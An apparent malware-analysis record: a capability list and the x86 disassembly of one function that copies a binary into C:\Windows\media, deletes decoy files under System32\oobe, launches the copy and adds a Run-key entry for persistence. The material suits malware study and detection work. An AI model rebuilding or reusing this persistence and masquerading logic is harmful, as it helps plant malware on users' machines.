Function at 0x4042d0
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file
Move file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x426068]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42406c
lea ecx, [ebp - 0x4c]
call fcn.00402df0
call fcn.00403d80
mov dword [ebp - 0xb8], eax
push 0
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
movzx eax, al
test eax, eax
je 0x404595
push str.:windowsSystem32oobewindeploy.exe
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x34]
push edx
call fcn.00404710
add esp, 0xc
push str.:windowsSystem32oobedel123.dt
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
push ecx
call fcn.00404710
add esp, 0xc
lea ecx, [ebp - 0x64]
call fcn.00402b60
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4043a4
lea ecx, [ebp - 0x64]
call fcn.00402b60
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4043a4
push str.:windowsSystem32oobedel456.dt
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x7c]
push eax
call fcn.00404710
add esp, 0xc
lea ecx, [ebp - 0x7c]
call fcn.00402b60
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x7c]
call fcn.00402b60
push eax
lea ecx, [ebp - 0x34]
call fcn.00402b60
push eax
call fcn.0040b06e
add esp, 8
lea ecx, [ebp - 0x7c]
call fcn.00402d20
lea ecx, [ebp - 0x64]
call fcn.00402b60
push eax
lea ecx, [ebp - 0x34]
call fcn.00402b60
push eax
call fcn.0040b06e
add esp, 8
push str.:Windowsmediawin123.dt
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0xac]
push edx
call fcn.00404710
add esp, 0xc
push 0
lea ecx, [ebp - 0x34]
call fcn.00402b60
push eax
lea ecx, [ebp - 0xac]
call fcn.00402b60
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40457a
mov eax, 1
test eax, eax
je 0x40457a
push 0
push 0
push 0
lea ecx, [ebp - 0x34]
call fcn.00402b60
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SystemSetupInProgress
lea ecx, [ebp - 0xe8]
call fcn.00402df0
push str.SYSTEMSetup
lea ecx, [ebp - 0xd0]
call fcn.00402df0
lea ecx, [ebp - 0xe8]
push ecx
lea edx, [ebp - 0xd0]
push edx
push 0x80000002
lea eax, [ebp - 0x94]
push eax
call fcn.00403e30
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.00402d20
lea ecx, [ebp - 0xe8]
call fcn.00402d20
lea ecx, [ebp - 0x94]
push ecx
push 0x42402f
call fcn.004047e0
add esp, 8
movzx edx, al
test edx, edx
je 0x40456a
push str._C:Windowsmedia_
lea ecx, [ebp - 0x1c]
call fcn.00402df0
push str.Windp
lea ecx, [ebp - 0x1c]
call fcn.00404650
push 0xc
lea eax, [ebp - 0x130]
push eax
call fcn.00404160
add esp, 8
push eax
lea ecx, [ebp - 0x1c]
call fcn.00404670
lea ecx, [ebp - 0x130]
call fcn.00402d20
push str..exe_
lea ecx, [ebp - 0x1c]
call fcn.00404650
push str.testXtzjds
lea ecx, [ebp - 0x118]
call fcn.00402df0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x100]
call fcn.00402df0
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x100]
push eax
push 0x80000002
call fcn.00403fc0
add esp, 0x10
mov byte [ebp - 0xad], al
lea ecx, [ebp - 0x100]
call fcn.00402d20
lea ecx, [ebp - 0x118]
call fcn.00402d20
lea ecx, [ebp - 0x1c]
call fcn.00402d20
lea ecx, [ebp - 0x94]
call fcn.00402d20
jmp 0x40457a
lea ecx, [ebp - 0x94]
call fcn.00402d20
jmp 0x4043fb
lea ecx, [ebp - 0xac]
call fcn.00402d20
lea ecx, [ebp - 0x64]
call fcn.00402d20
lea ecx, [ebp - 0x34]
call fcn.00402d20
push 1
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov dword [ebp - 0xb4], 0
lea ecx, [ebp - 0x4c]
call fcn.00402d20
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404ef4
mov esp, ebp
pop ebp
ret 0x10